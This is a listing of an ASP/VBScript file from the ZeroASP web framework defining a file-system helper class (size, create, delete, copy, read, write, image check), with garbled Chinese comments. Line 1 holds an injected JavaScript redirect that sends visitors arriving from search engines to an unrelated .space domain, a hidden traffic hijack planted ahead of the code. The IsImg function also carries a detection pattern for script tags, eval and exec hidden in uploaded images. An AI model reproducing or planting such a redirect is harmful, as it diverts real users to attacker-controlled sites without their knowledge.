d:\wwwroot\wuchunhua\zeroasp\zeroasp\extend\ZeroASP.Fso.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>?%
002: '######################################################################
003: '## ZeroASP.Fso.asp
004: '## -------------------------------------------------------------------
005: '## Feature     :   ZeroASP Class
006: '## Author      :   Ayu(kinsc@139.com)
007: '## Update Date :   2018-11-09
008: '## Description :   ZeroASP Extend Class
009: '##
010: '######################################################################
011:
012: Class ZeroASP_Fso
013:   
014:    Private Sub Class_Initialize()
015:       Dim ZeroASP_Fso
016:       ZeroASP_Fso = "ZeroASP应用框架 - 扩展?
017:    End Sub
018:
019:    '获取文件夹或者文件大?
020:    Public Function Size(ByVal Path,ByVal Types)
021:       Dim Fso,F
022:       If Types = "Folder" Then
023:          Set Fso = Server.CreateObject("Scripting.FileSystemObject")
024:          If Fso.FolderExists(Server.MapPath(Path)) Then
025:             Set F = Fso.GetFolder(Server.MapPath(Path))
026:             Size = Zasp.Base.GetSize(F.Size)
027:          Else
028:             Size = "文件? & Server.MapPath(Path) & "不存在,无法读取相关信息?
029:          End If
030:          Set F = Nothing
031:          Set Fso = Nothing
032:       ElseIf Types = "File" Then
033:          Set Fso = Server.CreateObject("Scripting.FileSystemObject")
034:          If Fso.FileExists(Server.MapPath(Path)) Then
035:             Set F = Fso.GetFile(Server.MapPath(Path))
036:             Size = Zasp.Base.GetSize(F.Size)
037:          Else
038:             Size = "文件" & Server.MapPath(Path) & "不存在,无法读取相关信息?
039:          End If
040:          Set F = Nothing
041:          Set Fso = Nothing
042:       End if
043:    End Function
044:
045:    '€测文件夹是否存在,不存在则创?
046:    Public Sub CreateFolder(ByVal Path)
047:       Dim Fso
048:       Set Fso = Server.CreateObject("Scripting.FileSystemObject")
049:       If Fso.FolderExists(Server.Mappath(Path)) = False Then
050:          Fso.CreateFolder(Server.Mappath(Path))
051:       End If
052:       Set Fso = Nothing
053:    End Sub
054:
055:    '自动创建多级文件?
056:    Public Sub AutoCreateFolder(ByVal Path)
057:       Dim AllFolder,CurrentPath,i
058:       AllFolder = Split(Path,"/")
059:       CurrentPath = ""
060:       For i = 0 To UBound(AllFolder) - 1
061:          CurrentPath = CurrentPath & AllFolder(i) & "/"
062:          Call Zasp.Fso.CreateFolder(CurrentPath)
063:       Next
064:    End Sub
065:
066:    '删除文件?
067:    Public Sub DeleteFolder(ByVal Path)
068:       Dim Fso
069:       Set Fso = Server.Createobject("Scripting.FileSystemObject")
070:       If Fso.FolderExists(Server.MapPath(Path)) Then
071:          Call Fso.DeleteFolder(Server.MapPath(Path))
072:       End If
073:       Set Fso = Nothing
074:    End Sub
075:
076:    '删除文件
077:    Public Sub DeleteFile(ByVal Path)
078:       Dim Fso
079:       Set Fso = Server.Createobject("Scripting.FileSystemObject")
080:       If Fso.FileExists(Server.MapPath(Path)) Then
081:          Call Fso.DeleteFile(Server.MapPath(Path))
082:       End If
083:       Set Fso = Nothing
084:    End Sub
085:
086:    '复制文件
087:    Public Sub CopyFile(ByVal Path,ByVal NewPath)
088:       Dim Fso
089:       Set Fso = Server.CreateOBject("Scripting.FileSystemObject")
090:       If Fso.FileExists(Server.MapPath(Path)) Then
091:          Call Fso.CopyFile(Server.MapPath(Path),Server.MapPath(NewPath))
092:       End If
093:       Set Fso = Nothing
094:    End Sub
095:
096:    '读取txt文件(GB2312编码?
097:    Public Function ReadFile(ByVal Path)
098:       Dim Fso,Fso2
099:       Set Fso = Server.CreateOBject("Scripting.FileSystemObject")
100:       If Fso.FileExists(Server.MapPath(Path)) Then
101:          Set Fso2 = Fso.OpenTextFile(Server.MapPath(Path),1,True) '创建文件读取对象,用于字符文件?为读
102:          ReadFile = Fso2.ReadAll '用文件读取对¤出文件内?
103:       End If
104:       Set Fso2 = Nothing
105:       Set Fso = Nothing
106:    End Function
107:
108:    '写入txt文件(GB2312编码?
109:    Public Sub WriteFile(ByVal Path,ByVal Str,ByVal Types)
110:       Dim Fso,Fso2
111:       Set Fso = Server.CreateOBject("Scripting.FileSystemObject")
112:       If Fso.FileExists(Server.MapPath(Path)) Then
113:          '在OpentextFile的命令参数中定义了TRUE,这就告诉了系统,如果文件不存在就创建它。如果文件不存在并且没有定义TRUE参数就会出错?
114:          Set Fso2 = Fso.OpenTextFile(Server.MapPath(Path),Types,True) '创建文件写入对象,用于字符文件?为写?为追?
115:          Fso2.WriteLine(Str) '€要写入的内容
116:       End If
117:       Set Fso2 = Nothing
118:       Set Fso = Nothing
119:    End Sub
120:
121:    '€测图片是否为正常图片
122:    Public Function IsImg(ByVal Path)
123:       Dim TempPath,FileExt
124:       TempPath = Server.MapPath(Path)
125:       Dim Temp,I,STemp,Obj
126:       Obj = 0
127:       Dim objStream
128:       Set objStream = Server.CreateObject("ADODB.Stream")
129:       With objStream
130:          .Type = 1 '设置或返?Stream 对象中的数据的类型,1为二进制?为文?
131:          .Mode = 3 '设置或返回供修改数据的可用权限,1?2?3读写/空€读?
132:          .Open '打开€?Stream 对象
133:          .LoadFromFile TempPath
134:          .Position = 0 '设置或返回从 Stream 对象€始处的当前位置(按字节计算)
135:          Temp = .Read
136:          .Close '关闭€?Stream 对象
137:       End With
138:       Set objStream = Nothing '€毁对?
139:       Dim regTemp,regEx,Test
140:       Set regEx = New RegExp '建立正则表达?
141:       regTemp = "3c(?:25).+?(?:25)3e|6576616c|65786563" '<>或€?﹪﹪>|eval|exec
142:       regEx.Pattern = regTemp'设置模式?
143:       regEx.IgnoreCase = True'设置是否区分字符大小写€?
144:       regEx.Global = True'设置全局可用性€?
145:       '找到了匹配的模式,Test方法返回True;否则返回False
146:       Test = regEx.Test(Zasp.Base.BinToHex(Temp))
147:       Set regEx = Nothing
148:       If Test = True Then
149:          IsImg = False:Exit Function
150:       Else
151:          IsImg = True
152:       End If
153:       FileExt = Mid(TempPath,InStrRev(TempPath,".") + 1)
154:       Select Case FileExt
155:       Case "jpg","jpeg":FileExt = Array(&HFF,&HD8):STemp = 1
156:       Case "gif":FileExt = Array(&H47,&H49,&H46,&H39,&H38,&H61):STemp = 5
157:       Case "png":FileExt = Array(&H89,&H50,&H4E,&H47):STemp = 3
158:       Case "bmp":FileExt = Array(&H42,&H4D):STemp = 1
159:       Case Else:IsImg = False:Exit Function
160:       End Select
161:       For I = 0 To STemp
162:          If AscB(MidB(Temp, I + 1, 1)) = CByte(FileExt(I)) Then:Obj = Obj + 1
163:       Next
164:       If (Obj - 1) = STemp Then
165:          IsImg = True
166:       Else
167:          IsImg = False
168:       End If
169:    End Function
170:
171: End Class
172: %
>
173:
174: